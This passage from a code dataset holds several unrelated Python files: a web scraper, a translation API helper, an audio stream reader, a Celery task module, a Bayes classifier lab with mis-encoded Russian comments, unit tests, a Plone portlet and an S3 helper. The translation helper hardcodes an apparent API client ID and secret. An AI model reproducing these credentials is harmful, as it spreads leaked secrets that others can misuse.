HabrTopGrabber:\n def __init__(self, count):\n self.count = count\n\n # Helper method for obtaining match (as text/soup/html) from original soup object, element name and its class\n @staticmethod\n def _get_match_from_soup(soup, element_name, element_class, field_name=None, html=False, return_soup=False):\n if soup is None:\n return None\n try:\n out_soup = soup.find(element_name, class_=element_class)\n except AttributeError:\n if field_name:\n print('Не удалось получить поле \"{}\"'.format(field_name))\n else:\n print('Не удалось получить поле с тегом \"{}\" и классом \"{}\"'.format(element_name, element_class))\n return None\n\n if html is True:\n return str(out_soup)\n elif return_soup is True:\n return out_soup\n else:\n return out_soup.text.strip()\n\n # Generator for obtaining post soup objects from raw page content\n @staticmethod\n def _get_pages():\n for i in range(50):\n while True:\n r = requests.get('https://habr.com/ru/top/yearly/page{}'.format(i))\n if r is not None and r.status_code == 200:\n yield r.content\n break\n\n # Generator for obtaining post soup objects from raw page content\n @staticmethod\n def _get_page_data(page_content):\n soup = BeautifulSoup(page_content, 'lxml')\n try:\n posts_list_soup = soup.find('div', class_='posts_list')\n except AttributeError:\n print('Не удалось получить данные со страницы')\n return None\n\n for post_content in posts_list_soup.find('ul', class_='content-list')\\\n .find_all('li', class_='content-list__item_post', id=lambda x: x is not None):\n yield post_content\n\n # Method for obtaining post data from soup object\n @staticmethod\n def _get_post_data(post_content_soup):\n title = HabrTopGrabber._get_match_from_soup(post_content_soup, 'h2', 'post__title', 'Заголовок')\n post_text = HabrTopGrabber._get_match_from_soup(post_content_soup, 'div', 'post__text-html', 'Текст', True)\n post_meta_soup = post_content_soup.find('header', class_='post__meta')\n date_raw = HabrTopGrabber._get_match_from_soup(post_meta_soup, 'span', 'post__time', 'Дата')\n date_match = re.search(r'(\\d\\d? (?:января|февраля|марта|апреля|мая|июня|июля|'\n r'августа|сентября|октября|ноября|декабря) \\d{4})(?: в \\d\\d:\\d\\d)?', date_raw)\n date = date_match.group(1) if date_match is not None else None\n author = HabrTopGrabber._get_match_from_soup(\n HabrTopGrabber._get_match_from_soup(post_meta_soup, 'a', 'user-info', 'Пользователь', return_soup=True),\n 'span',\n 'user-info__nickname',\n 'Пользователь'\n )\n return title, post_text, date, author\n\n # Main method\n def get_data(self):\n out = []\n pages = self._get_pages()\n current_posts = self._get_page_data(next(pages))\n while len(out) < self.count:\n try:\n out.append(self._get_post_data(next(current_posts)))\n except StopIteration:\n try:\n current_posts = self._get_page_data(next(pages))\n except StopIteration:\n break\n return out\n","sub_path":"habr_top_grabber.py","file_name":"habr_top_grabber.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"118283831","text":"import urllib.request\nimport json\n\ndef papago(jp_text):\n if not jp_text:\n return ''\n client_id = \"bI8kfUsgHNzBMpxV_2LB\" # 개발자센터에서 발급받은 Client ID 값\n client_secret = \"3ch_DoulJb\" # 개발자센터에서 발급받은 Client Secret 값\n encText = urllib.parse.quote(jp_text)\n data = \"source=ja&target=ko&text=\" + encText\n url = \"https://openapi.naver.com/v1/papago/n2mt\" # <-NMT번역\n #url = \"https://openapi.naver.com/v1/language/translate\"# <-SMT번역\n request = urllib.request.Request(url)\n request.add_header(\"X-Naver-Client-Id\",client_id)\n request.add_header(\"X-Naver-Client-Secret\",client_secret)\n response = urllib.request.urlopen(request, data=data.encode(\"utf-8\"))\n rescode = response.getcode()\n if(rescode==200):\n response_body = response.read()\n jsoned = json.loads(response_body.decode('utf-8'))\n return jsoned['message']['result']['translatedText']\n #print(response_body.decode('utf-8'))\n else:\n #print(\"Error Code:\" + rescode)\n return \"Error Code:\" + rescode\n\nif __name__ == '__main__':\n print(papago(\"俺は悪魔だ<br/>しばらくお待ちください<br>おにぎり\"))\n#텍스트하나하나를 하지말고 걍 list of stirngs로 해서 한번만 requeset보낼까","sub_path":"papago_translation.py","file_name":"papago_translation.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"527331361","text":"import time\nimport numpy as np\nimport pyaudio\nimport config\nfrom led import black_led\n\ndef isstarted():\n global streamstopped\n return 'streamstopped' in globals() and not streamstopped\n\ndef stopStream():\n global streamstopped\n streamstopped = True\n\ndef start_stream(callback):\n global stream, pya, streamstopped\n frames_per_buffer = int(config.MIC_RATE / config.FPS)\n if 'streamstopped' not in globals():\n pya = pyaudio.PyAudio()\n print(\"Using default input device: {:s}\".format(pya.get_default_input_device_info()['name']))\n stream = pya.open(format=pyaudio.paInt16,\n channels=1,\n rate=config.MIC_RATE,\n input=True,\n frames_per_buffer=frames_per_buffer)\n stream.start_stream()\n streamstopped = False\n overflows = 0\n prev_ovf_time = time.time()\n while not streamstopped:\n try:\n y = np.fromstring(stream.read(frames_per_buffer, exception_on_overflow=False), dtype=np.int16)\n y = y.astype(np.float32)\n stream.read(stream.get_read_available(), exception_on_overflow=False)\n callback(y)\n except IOError:\n overflows += 1\n if time.time() > prev_ovf_time + 1:\n prev_ovf_time = time.time()\n print('Audio buffer has overflowed {} times'.format(overflows))\n \n stream.stop_stream()\n #stream.close()\n #pya.terminate()\n\n black_led()\n","sub_path":"python/microphone.py","file_name":"microphone.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"476540102","text":"import os\n\nfrom celery import Celery\nfrom dagster_celery.config import CeleryConfig\nfrom dagster_graphql.client.mutations import execute_execute_plan_mutation\nfrom kombu import Queue\n\nfrom dagster import ExecutionTargetHandle\nfrom dagster.core.instance import InstanceRef\nfrom dagster.core.serdes import serialize_dagster_namedtuple\n\nDEFAULT_BROKER = 'pyamqp://guest@{hostname}:5672//'.format(\n hostname=os.getenv('DAGSTER_CELERY_BROKER_HOST', 'localhost')\n)\n\n\ndef create_task(celery_app, **task_kwargs):\n @celery_app.task(bind=True, name='execute_query', **task_kwargs)\n def _execute_query(_self, handle_dict, variables, instance_ref_dict):\n instance_ref = InstanceRef.from_dict(instance_ref_dict)\n handle = ExecutionTargetHandle.from_dict(handle_dict)\n\n events = execute_execute_plan_mutation(\n handle=handle, variables=variables, instance_ref=instance_ref,\n )\n serialized_events = [serialize_dagster_namedtuple(event) for event in events]\n return serialized_events\n\n return _execute_query\n\n\ndef make_app(config=CeleryConfig()):\n app_ = Celery('dagster', **dict({'broker': DEFAULT_BROKER}, **(config._asdict())))\n app_.loader.import_module('celery.contrib.testing.tasks')\n app_.conf.task_queues = [\n Queue('dagster', routing_key='dagster.#', queue_arguments={'x-max-priority': 10})\n ]\n app_.conf.task_routes = {\n 'execute_query': {'queue': 'dagster', 'routing_key': 'dagster.execute_query'}\n }\n app_.conf.task_queue_max_priority = 10\n app_.conf.task_default_priority = 5\n return app_\n\n\napp = make_app()\n\nexecute_query = create_task(app)\n\nif __name__ == '__main__':\n app.worker_main()\n","sub_path":"python_modules/dagster-celery/dagster_celery/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"610415859","text":"import numpy as np\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nimport matplotlib.pyplot as plt\nimport csv\nimport matplotlib.patches\nimport matplotlib.lines\nimport matplotlib.path\nimport seaborn as sb\nimport pandas as pd\nimport sklearn.metrics as metr\nimport math\n\n\n\nclass ByesClassificator(object):\n\n def __init__(self, path):\n self.dict = {1: [[],[]], 2: [[],[]], 3: [[],[]], 4:[[],[]]}\n with open(path, 'r') as fp:\n reader = csv.reader(fp, delimiter=',', quotechar='\"')\n next(reader, None) # skip the headers\n data_reader = [list(map(float, row)) for row in reader]\n data_reader = np.array(data_reader)\n x = data_reader[:, 0]\n y = data_reader[:, 1]\n label = data_reader[:, 2]\n\n self.data = [x,y,label]\n self.dict_train = {}\n self.dict_test = {}\n self.a={}\n self.b={}\n self.c={}\n self.s = {}\n self.roc_auc_mat = []\n self.mat_a_b_acc_class={}\n self.decision_func = []\n for i in range(0, label.size):\n self.dict[label[i]][0].append(x[i])\n self.dict[label[i]][1].append(y[i])\n #print(self.dict)\n #self.dict_train = self.dict\n #self.dict_test = self.dict\n\n def new_train_test_split(self):\n d = self.dict\n for i in self.dict.keys():\n d_train0, d_test0, d_train1, d_test1 = train_test_split(d[i][0],d[i][1], test_size=0.3)\n self.dict_train[i]=[d_train0,d_train1]\n self.dict_test[i] = [d_test0,d_test1]\n return\n\n def get_cov_matrix_naive_shared(self):\n sum = 0\n k=0\n di = self.dict_train\n for i in di.keys():\n sum +=np.var(di[i][0])+np.var(di[i][1])\n k+=2\n return np.eye(2, dtype=float)*(sum/k)\n\n def get_cov_matrix_diagonal_shared(self):\n sum0 = 0\n sum1 = 0\n k = 0\n di = self.dict_train\n for i in di.keys():\n sum0 += np.var(di[i][0])\n sum1 += np.var(di[i][1])\n k += 1\n sum0 /=k\n sum1 /= k\n m=np.eye(2, dtype=float)\n m[0][0]*= sum0\n m[1][1] *= sum1\n return m\n\n def get_cov_matrix_scalar(self):\n m = np.eye(4, dtype=float)\n di = self.dict_train\n for i in di.keys():\n m[i-1][i-1] = (np.var(di[i][0])+np.var(di[i][1]))/2\n return m\n\n\n\n def show_data(self):\n\n fig, ax = plt.subplots()\n\n ax.set_xlabel('X1')\n ax.set_ylabel('X2')\n\n x_min = np.min(self.data[0])\n x_max = np.max(self.data[0])\n\n y_min = np.min(self.data[1])\n y_max = np.max(self.data[1])\n\n mini = np.min([x_min, y_min])\n maxi = np.max([x_max, y_max])\n ax.set_xlim(mini, maxi)\n ax.set_ylim(mini, maxi)\n ax.grid()\n\n colors = ['red', 'green', 'blue', 'm']\n leg = []\n for i,v in self.dict.items():\n leg.append(ax.scatter(v[0], v[1], s=2))\n plt.legend((leg[0], leg[1], leg[2], leg[3]),\n ('Класс 1', 'Класс 2', 'Класс 3', 'Класс 4'))\n plt.show()\n\n\n\n def show_matrix(self, circles):\n fig, ax = plt.subplots()\n\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n\n x_min = np.min(self.data[0])\n x_max = np.max(self.data[0])\n\n y_min = np.min(self.data[1])\n y_max = np.max(self.data[1])\n\n mini = np.min([x_min,y_min])\n maxi = np.max([x_max, y_max])\n ax.set_xlim(mini, maxi)\n ax.set_ylim(mini, maxi)\n ax.grid()\n k=0\n ang=0\n colors = ['red', 'green', 'blue','m']\n leg=[]\n for i in circles:\n x_c= i[0]\n y_c = i[1]\n w=2*i[2]\n h=2*i[3]\n if len(i)==5:\n ang = i[4]\n delta_w=w*0.25\n delta_h = h * 0.25\n while w>0 and h>0:\n c = matplotlib.patches.Ellipse((x_c,y_c),\n width=w,\n height=h,\n angle=ang,\n fill=False,\n color=colors[k])\n w -= delta_w\n h -= delta_h\n ax.add_patch(c)\n\n k+=1\n leg.append(ax.scatter(self.dict_train[k][0], self.dict_train[k][1], s=2, color=colors[k-1]))\n plt.legend((leg[0],leg[1], leg[2], leg[3]), ('Класс 1', 'Класс 2', 'Класс 3','Класс 4'))\n plt.show()\n\n def show_matrix_12(self, m):\n c = []\n for i in range(1,5):\n mx = np.mean(self.dict_train[i][0])\n my = np.mean(self.dict_train[i][1])\n c.append([mx,my,m[0][0],m[1][1]])\n self.show_matrix(c)\n\n def show_matrix_3(self):\n c = []\n\n for i in range(1, 5):\n m, a = self.get_m3(i)\n mx = np.mean(self.dict_train[i][0])\n my = np.mean(self.dict_train[i][1])\n c.append([mx, my, m[0][0], m[1][1],a])\n self.show_matrix(c)\n\n def show_all_matrix(self):\n m = self.get_cov_matrix_naive_shared()\n self.show_matrix_12(m)\n m = self.get_cov_matrix_diagonal_shared()\n self.show_matrix_12(m)\n\n self.show_matrix_3()\n\n def get_priors(self):\n priors = []\n k=0\n for i in range(1,5):\n\n n=len(self.dict_train[i][0])\n k+=n\n priors.append(n)\n priors = np.asarray(priors)/k\n #priors = [0.25,0.25,0.25,0.25]\n return priors\n\n def get_m3(self,k):\n x=self.dict_train[k][0]\n y=self.dict_train[k][1]\n cov_mat = np.stack((x, y), axis=0)\n cov=np.cov(cov_mat)\n vx = np.var(x)\n vy = np.var(y)\n angel = math.atan(2*cov[0][1]/(vx-vy))/2\n\n return np.cov(cov_mat),angel*180/math.pi\n\n\n def get_m2(self):\n arr=[]\n for k in range(1,5):\n cov_mat = np.stack((self.dict_train[k][0], self.dict_train[k][1]), axis=0)\n arr.append(np.cov(cov_mat))\n av = np.mean(arr,axis=0)\n return av\n def sigma(self, alpha, betha,k):\n m1 = self.get_cov_matrix_naive_shared()\n #m2=self.get_m2()\n m2 = self.get_cov_matrix_diagonal_shared()\n # m3 = self.get_cov_matrix_scalar()\n m3,a=self.get_m3(k)\n # m4=np.eye(2, dtype=float)*m3[k-1][k-1]\n res = alpha*m1 + betha*m2 + (1-alpha-betha)*m3\n return res\n\n def culc_coeff(self, alpha, betha):\n for k in self.dict.keys():\n s=self.sigma(alpha, betha,k)\n self.s[k]=s\n self.a[k]=self.A(s)\n self.b[k] = self.B(s,k)\n self.c[k] = self.C(s, k)\n return\n\n\n\n def A(self,sigma):\n res = np.linalg.inv(sigma)\n return -0.5 * res\n\n def B(self,sigma,k):\n m1 = np.mean(self.dict_train[k][0])\n m2 = np.mean(self.dict_train[k][1])\n\n return np.dot(np.linalg.inv(sigma),[[m1],[m2]])\n\n def C(self,sigma,k):\n m1 = np.mean(self.dict_train[k][0])\n m2 = np.mean(self.dict_train[k][1])\n x_m = [[m1],[m2]]\n res1=np.linalg.inv(sigma)\n res2=-0.5*np.transpose(x_m)[0]\n res3=np.dot(res2,res1)\n res4=np.dot(res3,x_m)\n res5=np.log(np.linalg.det(sigma))\n res6=np.log(0.25)\n res = res4[0] - 0.5* res5+ res6\n return res\n\n def discriminant_func(self,x,k,alpha,betha):\n #S = self.sigma(alpha, betha,k)\n #p=self.get_priors()\n xt=np.transpose(x)[0]\n A=self.a[k]\n res1 = np.dot(xt,A)\n res1 = np.dot(res1,x)[0]\n res2 = np.dot(np.transpose(self.b[k])[0],x)[0]\n res3=self.c[k]\n res = res1 + res2 + res3\n return res\n\n def get_class(self, x, alpha, betha):\n score = -100000000\n arr=[0,0,0,0]\n cl=None\n for i in range(1,5):\n d=self.discriminant_func(x, i, alpha, betha)\n if score < d:\n cl=i\n score=d\n arr[i-1]=math.exp(d)\n\n return cl, arr\n\n # применяем классификатор РєРѕ всей выборке\n def get_accuracy(self, alpha, betha, d,size):\n\n self.decision_func.clear()\n good=0\n all=0\n arr = {1:[],2:[],3:[],4:[]}\n\n for i,v in d.items():\n x, y = v\n k=0\n for j in range(0, len(x)):\n #if all > 150:\n # break\n cl,f = self.get_class([[x[j]],[y[j]]], alpha, betha)\n fsum = np.sum(f)\n if cl==i:\n arr[i].append([x[j],y[j]])\n good+=1\n af = np.concatenate(([i],f/fsum))\n self.decision_func.append(af) #заполняем функцию решения для расчета roc_auc\n all+=1\n k+=1\n acc = good/all\n\n df = np.array(self.decision_func)\n y_test = df[:, 0]\n des_func = np.delete(df, 0, 1)\n auc = metr.roc_auc_score(y_true=y_test, y_score=des_func, average='macro', multi_class='ovo' )\n\n self.mat_a_b_acc_class[(alpha, betha)] = [acc,arr,auc] # для выполнения третьего задания\n\n return acc, auc\n\n\n # расчет точности для всех альфа Рё бета\n def get_statistics(self, d, size=500, arr=[0, 0.01, 0.001, 0.1, 0.2, 0.3, 0.5, 1]): # ,0.8,0.9,1]):\n self.mat_a_b_acc_class.clear()\n # arr = [0.1,0.01,0.001,0.2,0.02,0.002,0.3,0.03,0.003,0.5,0.05,0.005]\n\n l = len(arr)\n auc_mat = np.zeros((l, l), dtype=float)\n mat = np.zeros((l, l), dtype=float)\n max_acc = 0\n max_auc = 0\n for i in arr:\n for j in arr:\n if j + i > 1:\n break\n self.culc_coeff(i, j)\n acc, auc = self.get_accuracy(i, j, d, size)\n\n if acc > max_acc:\n max_acc = acc\n\n if auc > max_auc:\n max_auc = auc\n\n mat[arr.index(i)][arr.index(j)] = acc\n auc_mat[arr.index(i)][arr.index(j)] = auc\n\n print([i, j, acc])\n return mat, max_acc, auc_mat, max_auc\n\n\n\n def draw_heat_map_matrix(self,m):\n arr = [0, 0.01, 0.001, 0.1, 0.2, 0.3, 0.5, 1] # , 0.8, 0.9, 1]\n df = pd.DataFrame(m, index=arr, columns=arr)\n heat_map = sb.heatmap(df)\n plt.show()\n\n def task_3ab(self, max, mode):\n fig, ax = plt.subplots()\n\n ax.grid()\n x,y = [],[]\n di={}\n if mode=='test':\n di=self.dict_test\n else:\n di = self.dict_train\n for i,v in di.items():\n x+=v[0]\n y+=v[1]\n ax.scatter(x,y, s=2, color='k')\n k = 0\n c = ['r','g','b','m']\n for i,v in self.mat_a_b_acc_class.items():\n if v[0]==max:\n for j,a in v[1].items():\n arr=np.array(a, dtype='float')\n ax.scatter(arr[:,0],arr[:,1], s=2, color=c[j-1])\n plt.show()\n\n def task_5(self, max, mode):\n fig, ax = plt.subplots()\n\n ax.grid()\n x,y = [],[]\n di={}\n if mode=='test':\n di=self.dict_test\n else:\n di = self.dict_train\n for i,v in di.items():\n x+=v[0]\n y+=v[1]\n ax.scatter(x,y, s=2, color='gray')\n k = 0\n c = ['r','g','b','m']\n for i,v in self.mat_a_b_acc_class.items():\n if v[2]==max:\n for j,a in v[1].items():\n arr=np.array(a, dtype='float')\n ax.scatter(arr[:,0],arr[:,1], s=2, color=c[j-1])\n xx,yy,Z = self.show_class_boundaries()\n plt.contour(xx, yy, Z, cmap=plt.cm.Paired)\n plt.show()\n\n\n\n\n def show_class_boundaries(self):\n #fig, ax = plt.subplots()\n C = 1.0 # SVM regularization parameter\n clf = svm.SVC(kernel='rbf', gamma=0.7, C=C)\n X=np.array(self.data)[0,:]\n X=X.reshape(-1, 1)\n Y = np.array(self.data)[1,:]\n Y=Y.reshape(-1, 1)\n X=np.hstack((X,Y))\n Y = np.array(self.data)[2, :]\n clf.fit(X, Y)\n\n h = .02 # step size in the mesh\n # create a mesh to plot in\n x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h),\n np.arange(y_min, y_max, h))\n\n # Plot the decision boundary. For that, we will assign a color to each\n # point in the mesh [x_min, m_max]x[y_min, y_max].\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n # Put the result into a color plot\n Z = Z.reshape(xx.shape)\n # dis = clf.decision_function(X)\n\n return xx,yy,Z\n #ax.scatter(np.array(self.data)[0,:], np.array(self.data)[1,:], s=2, color='k')\n\n #plt.show()\n\n def task_3vgd(self,mode):\n fig, ax = plt.subplots()\n\n ax.grid()\n x, y = [], []\n di = {}\n if mode == 'test':\n di = self.dict_test\n else:\n di = self.dict_train\n\n for i, v in di.items():\n x += v[0]\n y += v[1]\n ax.scatter(x, y, s=2, color='gray')\n\n for i, v in self.mat_a_b_acc_class.items():\n if i != (0,0):\n continue\n\n for j, a in v[1].items():\n arr = np.array(a, dtype='float')\n ax.scatter(arr[:, 0], arr[:, 1], s=2)\n\n\n xx,yy,Z = self.show_class_boundaries()\n plt.contour(xx, yy, Z, cmap=plt.cm.Paired)\n plt.show()\n\n fig, ax = plt.subplots()\n ax.scatter(x, y, s=2, color='gray')\n for i, v in self.mat_a_b_acc_class.items():\n if i != (0,1):\n continue\n\n for j, a in v[1].items():\n arr = np.array(a, dtype='float')\n ax.scatter(arr[:, 0], arr[:, 1], s=2)\n\n\n plt.contour(xx, yy, Z, cmap=plt.cm.Paired)\n\n plt.show()\n\n fig, ax = plt.subplots()\n ax.scatter(x, y, s=2, color='gray')\n for i, v in self.mat_a_b_acc_class.items():\n if i != (1, 0):\n continue\n\n for j, a in v[1].items():\n arr = np.array(a, dtype='float')\n ax.scatter(arr[:, 0], arr[:, 1], s=2)\n\n plt.contour(xx, yy, Z, cmap=plt.cm.Paired)\n\n plt.show()\n\n\n\ndef main():\n cl = ByesClassificator(\"data_v2-05.csv\")\n cl. new_train_test_split()\n cl.show_data()\n\n\n # Задание 1\n cl.show_all_matrix()\n\n\n print(\"TRAIN\")\n\n # Задание 2\n m_tr, max_tr, auc_tr, max_auc_tr = cl.get_statistics(cl.dict_train)\n cl.draw_heat_map_matrix(m_tr)\n\n # Задание 3\n cl.task_3ab(max_tr,'train')\n cl.task_3vgd('train')\n\n # Задание 4\n cl.draw_heat_map_matrix(auc_tr)\n\n # Задание 5\n cl.task_5(max_auc_tr, 'train')\n\n\n\n print(\"TEST\")\n\n # Задание 2\n m_ts, max_ts, auc_ts, max_auc_ts = cl.get_statistics(cl.dict_test)\n cl.draw_heat_map_matrix(m_ts)\n\n # Задание 3\n cl.task_3ab(max_ts, 'test')\n cl.task_3vgd('test')\n\n # Задание 4\n cl.draw_heat_map_matrix(auc_ts)\n\n # Задание 5\n cl.task_5(max_auc_ts, 'test')\n\nmain()","sub_path":"lab_2/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":15867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"136062224","text":"\"\"\"Tests for the Zodiac config flow.\"\"\"\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom homeassistant.components.zodiac.const import DOMAIN\nfrom homeassistant.config_entries import SOURCE_IMPORT, SOURCE_USER\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.data_entry_flow import FlowResultType\n\nfrom tests.common import MockConfigEntry\n\n\nasync def test_full_user_flow(hass: HomeAssistant) -> None:\n \"\"\"Test the full user configuration flow.\"\"\"\n result = await hass.config_entries.flow.async_init(\n DOMAIN, context={\"source\": SOURCE_USER}\n )\n\n assert result.get(\"type\") == FlowResultType.FORM\n assert result.get(\"step_id\") == \"user\"\n\n with patch(\n \"homeassistant.components.zodiac.async_setup_entry\",\n return_value=True,\n ) as mock_setup_entry:\n result = await hass.config_entries.flow.async_configure(\n result[\"flow_id\"],\n user_input={},\n )\n\n assert result.get(\"type\") == FlowResultType.CREATE_ENTRY\n assert result.get(\"title\") == \"Zodiac\"\n assert result.get(\"data\") == {}\n assert result.get(\"options\") == {}\n assert len(mock_setup_entry.mock_calls) == 1\n\n\n@pytest.mark.parametrize(\"source\", [SOURCE_USER, SOURCE_IMPORT])\nasync def test_single_instance_allowed(\n hass: HomeAssistant,\n source: str,\n) -> None:\n \"\"\"Test we abort if already setup.\"\"\"\n mock_config_entry = MockConfigEntry(domain=DOMAIN)\n\n mock_config_entry.add_to_hass(hass)\n\n result = await hass.config_entries.flow.async_init(\n DOMAIN, context={\"source\": source}\n )\n\n assert result.get(\"type\") == FlowResultType.ABORT\n assert result.get(\"reason\") == \"single_instance_allowed\"\n\n\nasync def test_import_flow(\n hass: HomeAssistant,\n) -> None:\n \"\"\"Test the import configuration flow.\"\"\"\n result = await hass.config_entries.flow.async_init(\n DOMAIN,\n context={\"source\": SOURCE_IMPORT},\n data={},\n )\n\n assert result.get(\"type\") == FlowResultType.CREATE_ENTRY\n assert result.get(\"title\") == \"Zodiac\"\n assert result.get(\"data\") == {}\n assert result.get(\"options\") == {}\n","sub_path":"tests/components/zodiac/test_config_flow.py","file_name":"test_config_flow.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"425405331","text":"import unittest\n\nimport mock\n\nimport numpy\n\nfrom enable.api import AbstractWindow\nfrom chaco.api import (CMapImagePlot, DataRange1D, DataRange2D, GridDataSource,\n GridMapper, ImageData)\nfrom chaco.default_colormaps import Spectral\n\n\nclass TestCMapImagePlot(unittest.TestCase):\n def test_redraw_on_color_mapper_update(self):\n # regression check for https://github.com/enthought/chaco/issues/220\n npoints = 200\n\n xs = numpy.linspace(-2 * numpy.pi, +2 * numpy.pi, npoints)\n ys = numpy.linspace(-1.5 * numpy.pi, +1.5 * numpy.pi, npoints)\n x, y = numpy.meshgrid(xs, ys)\n z = y * x\n\n index = GridDataSource(xdata=xs, ydata=ys)\n index_mapper = GridMapper(range=DataRange2D(index))\n\n color_source = ImageData(data=z, value_depth=1)\n color_mapper = Spectral(DataRange1D(color_source))\n\n cmap_plot = CMapImagePlot(\n index=index,\n index_mapper=index_mapper,\n value=color_source,\n value_mapper=color_mapper, )\n cmap_plot._window = window = mock.Mock(spec=AbstractWindow)\n\n #when\n cmap_plot.color_mapper.updated = True\n\n # Then\n window.redraw.assert_called_once_with()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"chaco/tests/test_cmap_image_plot.py","file_name":"test_cmap_image_plot.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"343488350","text":"# -*- coding: utf-8 -*-\nfrom brasil.gov.portlets import _\nfrom plone import api\nfrom plone.app.form.widgets.uberselectionwidget import UberSelectionWidget\nfrom plone.app.portlets.portlets import base\nfrom plone.app.vocabularies.catalog import SearchableTextSourceBinder\nfrom plone.i18n.normalizer.interfaces import IIDNormalizer\nfrom plone.memoize.instance import memoize\nfrom plone.portlets.interfaces import IPortletDataProvider\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\nfrom zope import schema\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.formlib import form\nfrom zope.interface import implementer\n\n\nclass IAudioPortlet(IPortletDataProvider):\n '''Portal Padrao: Audio Portlet.\n '''\n\n header = schema.TextLine(\n title=_(u'title_text',\n default=u'Title text'),\n description=_(u'title_text_description',\n default=u'Portlet text of the title.'),\n required=True,\n default=_(u'title_portlet_audio',\n default=u'Portal Padrao Audio'))\n\n audio = schema.Choice(\n title=_(u'Audio'),\n description=_(u'Search the audio used into the portlet.'),\n required=True,\n source=SearchableTextSourceBinder(\n {'portal_type': ('Audio')},\n default_query='path:'))\n\n\n@implementer(IAudioPortlet)\nclass Assignment(base.Assignment):\n\n header = _(u'title_portlet_audio',\n default=u'Portal Padrao Audio')\n audio = None\n\n def __init__(self,\n header=_(u'title_portlet_audio',\n default=u'Portal Padrao Audio'),\n audio=None):\n self.header = header\n self.audio = audio\n\n @property\n def title(self):\n return self.header\n\n\nclass Renderer(base.Renderer):\n\n _template = ViewPageTemplateFile('templates/audio.pt')\n render = _template\n\n def __init__(self, *args):\n base.Renderer.__init__(self, *args)\n\n def css_class(self):\n header = self.data.header\n normalizer = getUtility(IIDNormalizer)\n return 'brasil-gov-portlets-audio-{0}'.format(normalizer.normalize(header))\n\n @memoize\n def audio(self):\n audio_path = self.data.audio\n if not audio_path:\n return None\n\n if audio_path.startswith('/'):\n audio_path = audio_path[1:]\n\n if not audio_path:\n return None\n\n portal_state = getMultiAdapter((self.context, self.request),\n name=u'plone_portal_state')\n portal = portal_state.portal()\n if isinstance(audio_path, unicode):\n # restrictedTraverse accepts only strings\n audio_path = str(audio_path)\n\n result = portal.unrestrictedTraverse(audio_path, default=None)\n if result is not None:\n if not api.user.has_permission('View', obj=result):\n result = None\n return result\n\n def title(self):\n audio = self.audio()\n return audio.Title()\n\n def description(self):\n audio = self.audio()\n return audio.Description()\n\n def rights(self):\n audio = self.audio()\n return audio.Rights()\n\n def url(self):\n audio = self.audio()\n mp3 = audio.return_mp3()\n url = ''\n if mp3:\n url = mp3.absolute_url()\n else:\n url = audio.absolute_url()\n return url\n\n def content_type(self):\n audio = self.audio()\n mp3 = audio.return_mp3()\n content_type = ''\n if mp3:\n content_type = 'audio/mp3'\n return content_type\n\n\nclass AddForm(base.AddForm):\n\n form_fields = form.Fields(IAudioPortlet)\n form_fields['audio'].custom_widget = UberSelectionWidget\n\n label = _(u'Add Portlet Portal Padrao Audio')\n description = _(u'audio_portlet_description',\n default=u'This portlet show an Audio Player.')\n\n def create(self, data):\n return Assignment(**data)\n\n\nclass EditForm(base.EditForm):\n\n form_fields = form.Fields(IAudioPortlet)\n form_fields['audio'].custom_widget = UberSelectionWidget\n\n label = _(u'Edit Portlet Portal Padrao Audio')\n description = _('audio_portlet_description',\n default=u'This portlet show an Audio Player.')\n","sub_path":"src/brasil/gov/portlets/portlets/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"443312789","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2017/6/29 10:38\r\n# @Author : luoyuediwu\r\n# @Site : \r\n# @File : constant_define.py\r\n# @Software: PyCharm\r\n\r\n\r\nTIME_1_MINIUTE = 60\r\nTIME_HALF_HOUR = TIME_1_MINIUTE * 30\r\n\r\nADMIN_USER_LEVEL = 10\r\n\r\nTEST_USER_LEVEL = 20\r\n\r\nCODE_USER_LEVEL = 30\r\n\r\n\r\n","sub_path":"lib/constant_define.py","file_name":"constant_define.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"83765391","text":"import boto3\nfrom botocore.client import Config\n\n\nclass S3Helper:\n def __init__(self, bucket, region=\"eu-west-2\") -> None:\n super().__init__()\n self.bucket = bucket\n self.region = region\n self.s3_client = boto3.client('s3', config=Config(signature_version='s3v4', s3={'addressing_style': 'path'}),\n region_name=self.region)\n\n def put_object(self, key, body, content_type):\n self.s3_client.put_object(Body=body, Bucket=self.bucket, Key=key, ContentType=content_type)\n","sub_path":"lib/s3Helper.py","file_name":"s3Helper.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} 